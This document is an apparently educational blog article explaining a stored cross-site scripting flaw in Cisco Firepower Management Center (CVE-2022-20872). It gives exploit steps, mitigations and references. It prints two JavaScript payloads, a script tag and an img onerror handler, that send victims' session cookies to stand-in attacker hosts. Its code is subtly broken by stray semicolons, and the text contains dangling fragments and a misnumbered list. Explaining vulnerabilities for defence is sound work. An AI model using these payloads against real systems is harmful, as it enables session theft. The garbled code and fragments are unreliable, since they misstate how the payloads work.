The world of cybersecurity is constantly evolving, but web-based interfaces on network security appliances are still frequent targets. In mid-2022, Cisco reported a set of significant vulnerabilities (CVE-2022-20872 and related advisories) affecting their Firepower Management Center (FMC) software. This article gives you a simple, practical breakdown of what these vulnerabilities are, how an attacker could exploit them, and how you can protect your systems.

What is CVE-2022-20872?

CVE-2022-20872 is part of multiple vulnerabilities found in the web-based management interface of Cisco FMC software. These vulnerabilities allow an authenticated, remote attacker to perform *stored cross-site scripting (XSS)* attacks. Essentially, if an attacker can log into the FMC interface, they could inject malicious code that would be executed in another user’s browser — potentially hijacking sessions, stealing sensitive data, or impacting the dashboard’s availability.

Why Did This Happen?

The culprit here is *insufficient input validation*. Web interfaces must carefully check and sanitize all incoming data to ensure it doesn’t contain unsafe code. In this case, FMC’s interface failed to do that for certain user-supplied fields, opening the door for an attacker to plant payloads that would later run in a victim's browser session.

How Does the Exploit Work?

The attacker needs to be a valid, authenticated user of the web management interface. This means these vulnerabilities are most dangerous in environments with multiple administrators or where credentials could be compromised (for example, through phishing).

Attacker logs into the FMC interface with valid credentials.

2. The attacker injects a malicious payload (e.g., JavaScript) into a data field (like a device name, description, system comment, or custom field) that is reflected in the user dashboard or logs.
3. When a different user (typically with higher privileges) views the affected field in the web interface, the malicious code executes in their browser.
4. The attacker's code can steal session cookies, execute unauthorized actions, or disrupt the dashboard for the victim.

Example Exploit (Simple JS Payload)

Suppose the attacker has access to a field like "Device Description" in the interface. They input code like this:

<script>
  // Simple payload: send victim's session cookie to attacker
  fetch("https://evil-attacker.com/steal?cookie="; + document.cookie);
</script>

If this input is not properly sanitized, anyone who loads the affected screen will run the attacker’s code, leaking their session information.

`html

alert('XSS by CVE-2022-20872!');

Wait for a Target:

When another administrator views the device page, the script executes. The attacker could use more advanced payloads to perform actions as the victim, steal cookies, or open persistent command channels.

Proof of Concept (PoC) — Real-World Snippet

<!-- Inserted into a vulnerable field -->
<img src="x" onerror="fetch('https://attacker.site/steal?cookie='; + document.cookie)">

*This stealthy JavaScript fetches and exfiltrates session cookies when the image fails to load.*

Data Leakage: Any data the victim’s browser can see, the attacker’s script can send to them.

- Denial of Dashboard Availability: By inserting heavy scripts, the attacker can temporarily freeze or crash parts of the interface for legitimate users.

Mitigation

- Cisco Advisory and Patch: Cisco addressed this with updated FMC releases. If you run Cisco FMC, make sure you’re patched! See the official Cisco advisory and update instructions:
 - Cisco Security Advisory: cisco-sa-fmc-xss-sYJWZkqV (official)

- User Access Control: Minimize the number of users with write access to FMC’s web interface. Avoid using shared accounts.

- Web Application Firewalls: Consider a WAF that can filter XSS attempts, even within internal tools.

- Monitor for Malicious Input: Regularly audit logs and device fields for suspicious scripts or HTML.

More References

- Cisco Public Advisory — cisco-sa-fmc-xss-sYJWZkqV
- NIST CVE Record — CVE-2022-20872
- OWASP XSS Cheat Sheet

Final Thoughts

CVE-2022-20872 is a reminder: Any web management tool — even on security appliances — can become a backdoor if input is not sanitized. Always stay up to date, limit admin users, and know how stored XSS can impact your environment.

If you manage a Cisco Firepower Management Center, patch now — and double-check no suspicious scripts got slipped into your fields!


*This article is for educational awareness only. Never exploit vulnerabilities without proper authorization. Stay safe out there!*

Timeline

Published on: 11/15/2022 21:15:00 UTC
Last modified on: 11/18/2022 18:13:00 UTC